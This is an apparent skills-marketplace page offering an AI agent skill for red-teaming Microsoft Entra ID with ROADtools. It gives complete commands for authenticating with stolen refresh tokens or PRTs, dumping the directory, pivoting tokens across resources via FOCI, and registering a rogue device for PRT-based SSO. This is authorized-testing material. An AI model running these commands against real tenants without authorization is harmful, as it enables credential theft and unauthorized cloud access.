Communitygithub.com

attacking-entra-id-with-roadtools

Enumerate Microsoft Entra ID (Azure AD) tenants with ROADrecon and

What is attacking-entra-id-with-roadtools?

attacking-entra-id-with-roadtools is a Claude Code agent skill that enumerate Microsoft Entra ID (Azure AD) tenants with ROADrecon and.

Works with~Claude Code~Codex CLI~Cursor
npx skills add https://github.com/mukul975/Anthropic-Cybersecurity-Skills/tree/main/skills/attacking-entra-id-with-roadtools

Ask in your favorite AI

Open a new chat with this agent skill pre-loaded.

Documentation

Attacking Entra ID with ROADtools

Authorized use only: ROADtools interacts with live Microsoft Entra ID (Azure AD) tenants and can register devices, mint and exchange tokens, and enumerate directory objects. Use it solely against tenants you own or are explicitly authorized in writing to test. Unauthorized access to a cloud tenant is illegal.

Overview

ROADtools (by Dirk-jan Mollema) is the de facto offensive toolkit for Microsoft Entra ID. It has two main components:

  • ROADrecon — authenticates to Entra ID, gathers the full directory into a local SQLite database via the Azure AD Graph API, and serves an Angular GUI to explore users, groups, roles, applications, service principals, conditional-access policies, and device objects offline. A plugin system exports to BloodHound and analyzes CA policies.
  • roadtx (ROADtools Token eXchange) — acquires and exchanges Entra-issued tokens across the many OAuth flows (ROPC, device code, auth-code, refresh-token exchange, app/federated app), performs device registration, and handles Primary Refresh Token (PRT) operations including PRT-based SSO and cookie minting. Its FOCI (Family of Client IDs) awareness lets a refresh token for one first-party client be redeemed for another resource.

Together they cover the Discovery phase against cloud identity: enumerate the tenant (T1087.004 Account Discovery: Cloud Account) and obtain/manipulate the tokens needed to reach Microsoft Graph, Azure Resource Manager, and other resources. ROADrecon's offline database makes recon stealthy and fast; roadtx makes token theft, PRT abuse, and cross-resource pivoting practical.

When to Use

  • During an authorized Azure / Entra ID red-team or cloud penetration test.
  • When you have a foothold credential, refresh token, or PRT and need to enumerate the tenant.
  • When you must pivot a token from one resource (e.g., Azure CLI) to another (e.g., Microsoft Graph).
  • When validating that conditional-access, device-compliance, and token controls actually constrain an attacker.
  • When mapping Entra attack paths (export to BloodHound for graph analysis).

Prerequisites

  • Written authorization and defined scope for the target tenant.
  • A starting credential: username/password (no MFA flows), a device code session, a refresh/access token, or a registered device's PRT.
  • Python 3.7+ (roadtx Selenium flows need a matching geckodriver/Firefox).
# Core install (roadlib is a shared dependency, pulled in automatically)
python -m pip install roadrecon
python -m pip install roadtx
# Verify
roadrecon --help
roadtx --help

Objectives

  • Authenticate to Entra ID via the appropriate flow (device code preferred for MFA).
  • Gather the full directory with ROADrecon and analyze it in the GUI.
  • Export the directory to BloodHound and run CA-policy analysis plugins.
  • Acquire tokens with roadtx and exchange refresh tokens across resources/clients.
  • Demonstrate PRT-based SSO and document the resulting access.

MITRE ATT&CK Mapping

IDTacticOfficial Technique NameRole in this skill
T1087.004DiscoveryAccount Discovery: Cloud AccountROADrecon enumerates tenant users/accounts
T1069.003DiscoveryPermission Groups Discovery: Cloud GroupsROADrecon enumerates Entra groups and roles
T1538DiscoveryCloud Service DashboardGUI exploration of tenant configuration
T1550.001Defense Evasion / Lateral MovementUse Alternate Authentication Material: Application Access Tokenroadtx refresh-token exchange across resources
T1528Credential AccessSteal Application Access Tokenroadtx PRT/token acquisition

Workflow

Step 1: Authenticate with ROADrecon

Pick the flow that matches your foothold. Device code supports MFA; ROPC (-u/-p) does not.

# Username/password (legacy, no MFA)
roadrecon auth -u [email protected] -p 'Password123!'

# Device-code flow (supports MFA)
roadrecon auth --device-code

# From a stolen access or refresh token
roadrecon auth --access-token <JWT>
roadrecon auth --refresh-token <refresh_token>

# From a PRT (with session key) for SSO-grade access
roadrecon auth --prt <prt> --prt-sessionkey <session_key>

Authentication writes .roadtools_auth in the working directory.

Step 2: Gather the directory

# Full gather into roadrecon.db (default)
roadrecon gather

# Include MFA/auth-method details (requires a privileged role)
roadrecon gather --mfa

Step 3: Explore in the GUI

roadrecon gui
# Browse to http://127.0.0.1:5000 — users, groups, roles, applications,
# service principals, devices, and conditional-access policies, all offline.

Step 4: Run analysis plugins

# Analyze conditional-access policies
roadrecon plugin policies -h
roadrecon plugin policies

# Export the gathered data to a BloodHound-importable format
roadrecon plugin bloodhound -h
roadrecon plugin bloodhound

Step 5: Acquire tokens with roadtx

# ROPC: get a Microsoft Graph token for the Azure CLI client
roadtx gettokens -u [email protected] -p 'Password123!' -c azcli -r msgraph

# Device-code style interactive auth for the Teams client to Graph
roadtx interactiveauth -c msteams -r msgraph

# From an existing refresh token
roadtx gettokens --refresh-token <refresh_token> -r msgraph

Tokens are written to .roadtools_auth (use --tokens-stdout to print).

Step 6: Exchange refresh tokens across resources (FOCI pivot)

A FOCI refresh token obtained for one first-party client can be redeemed for another resource without re-auth.

# Convert the stored refresh token to an Azure Resource Manager token
roadtx refreshtokento -r azrm

# Convert to a scoped Graph token via the Teams client
roadtx refreshtokento -c msteams -r msgraph

# Find which first-party clients hold a given scope
roadtx getscope -s https://graph.microsoft.com/mail.read --foci

Step 7: Device registration and PRT-based SSO

# Register a (virtual) device to the tenant
roadtx device -n redteam-device

# Request a PRT using the device cert/key and user creds
roadtx prt -u [email protected] -p 'Password123!' --key-pem redteam-device.key --cert-pem redteam-device.pem

# Use the PRT to authenticate a client to a resource (SSO-grade)
roadtx prtauth -c msteams -r msgraph

# Enrich a PRT with an interactive MFA claim
roadtx prtenrich -u [email protected]

Step 8: Inspect tokens

# Decode and print claims of the stored / a supplied token
roadtx describe -t <JWT>
roadtx describe < .roadtools_auth | jq .

Tools and Resources

ToolPurposePrimary Source
ROADtools (repo)Toolkit overview + wikihttps://github.com/dirkjanm/ROADtools
ROADrecon wikiAuth/gather/gui/plugin usagehttps://github.com/dirkjanm/ROADtools/wiki/Getting-started-with-ROADrecon
roadtx wikiToken exchange + PRT/device flowshttps://github.com/dirkjanm/ROADtools/wiki/ROADtools-Token-eXchange-(roadtx)
BloodHound CEGraph analysis of exported Entra datahttps://github.com/SpecterOps/BloodHound
Microsoft identity platformToken/flow referencehttps://learn.microsoft.com/entra/identity-platform/

Validation Criteria

  • Authenticated to the target tenant via an authorized flow; .roadtools_auth created.
  • Directory gathered into roadrecon.db (with --mfa where role allows).
  • GUI explored; users, groups, roles, apps, CA policies reviewed.
  • CA-policy and BloodHound plugins executed; data exported.
  • Tokens acquired with roadtx for at least one resource.
  • Refresh-token exchange to a second resource demonstrated (FOCI pivot).
  • Device registered and PRT-based SSO demonstrated (where in scope).
  • Token claims inspected with roadtx describe.
  • Findings and access documented for the engagement report.

Individual skills in this repo

This repo contains 20 individual skills — each has its own dedicated page.

abusing-dpapi-for-credential-access

Extract and decrypt Windows DPAPI-protected secrets (Credential Manager, browser logins/cookies, Wi-Fi credentials, KeePass keys) online or offline using SharpDPAPI, SharpChrome, Mimikatz, or Impacket

abusing-shadow-credentials-for-privesc

Take over Active Directory accounts by writing attacker-controlled public keys to msDS-KeyCredentialLink (Shadow Credentials) with pyWhisker, Whisker, or Certipy, then authenticate via PKINIT to recover the target

achieving-cmmc-level-2-compliance

>-

acquiring-disk-image-with-dd-and-dcfldd

Create forensically sound bit-for-bit disk images with dd or dcfldd on a Linux forensic workstation, preserving evidence integrity through hash verification (MD5/SHA) during acquisition. Use when imaging a suspect drive, USB device, or memory card for investigation, preserving volatile disk evidence during incident response, or producing a verified copy for legal or law-enforcement proceedings before any destructive analysis.

analyzing-active-directory-acl-abuse

Detect dangerous ACL misconfigurations in Active Directory using ldap3

analyzing-android-malware-with-apktool

Perform static analysis of Android APK malware using apktool for resource decompilation, jadx for Java source recovery, and androguard for manifest inspection, dangerous permission-combination detection, and identification of obfuscated code, dynamic code loading, and reflection-based API calls. Use to statically triage a suspicious APK without executing it or to build mobile malware detection rules.

analyzing-api-gateway-access-logs

Parses API Gateway access logs (AWS API Gateway, Kong, Nginx) to detect

analyzing-apt-group-with-mitre-navigator

Query ATT&CK data with attackcti, mitreattack-python, and stix2, then build MITRE ATT&CK Navigator layers and multi-layer heatmap overlays mapping one or more APT groups

analyzing-azure-activity-logs-for-threats

Queries Azure Monitor activity logs and sign-in logs via azure-monitor-query

analyzing-bootkit-and-rootkit-samples

Analyzes bootkit and advanced rootkit malware infecting the Master

analyzing-browser-forensics-with-hindsight

Parse Chromium-based browser databases with Hindsight to extract and correlate browsing history, downloads, cookies, cached content, autofill data, saved passwords, and extensions from Chrome, Edge, Brave, Opera, and Vivaldi into a unified timeline (XLSX, JSON, or SQLite output). Use during incident response, insider-threat investigations, or criminal cases when you need to reconstruct a user

analyzing-campaign-attribution-evidence

Systematically evaluate cyber-campaign evidence to attribute an operation to a threat actor, using the Diamond Model and Analysis of Competing Hypotheses (ACH) to weigh infrastructure overlaps, TTP consistency, malware code similarity, and timing/language artifacts into confidence-weighted attribution assessments. Use when an incident investigation needs a defensible attribution confidence level.

analyzing-certificate-transparency-for-phishing

Monitor Certificate Transparency logs using crt.sh and Certstream to

analyzing-cloud-storage-access-patterns

Detect abnormal access in AWS S3, GCS, and Azure Blob Storage by analyzing CloudTrail Data Events, GCS audit logs, and Azure Storage Analytics for after-hours bulk downloads, new-IP access, and API-call spikes (e.g. GetObject) via statistical baselines and time-series anomaly detection. Use when investigating suspected cloud data exfiltration or building related detection rules.

analyzing-cobalt-strike-beacon-configuration

Extract and analyze Cobalt Strike beacon configuration from PE files

analyzing-cobaltstrike-malleable-c2-profiles

Parse and analyze Cobalt Strike Malleable C2 profiles with dissect.cobaltstrike (profiles and beacon-payload configs) and pyMalleableC2 (AST parsing) to extract HTTP/DNS transforms, URIs, headers, sleep/jitter, and injection behavior, then generate network detection signatures. Use when reverse-engineering a captured malleable profile or building detections against Cobalt Strike Beacon traffic.

analyzing-command-and-control-communication

Analyzes malware C2 communication over HTTP, HTTPS, DNS, and custom

analyzing-cyber-kill-chain

Analyzes intrusion activity against the Lockheed Martin Cyber Kill Chain

analyzing-disk-image-with-autopsy

Perform comprehensive forensic analysis of raw (dd), E01, or AFF disk images with Autopsy and The Sleuth Kit, recovering deleted files, examining metadata and embedded artifacts, keyword searching, and building investigation timelines with visual reports. Use for structured analysis of a forensic disk image or when stakeholders need visual reports from evidence.

analyzing-dns-logs-for-exfiltration

Analyzes DNS query logs to detect data exfiltration via DNS tunneling,

Related Skills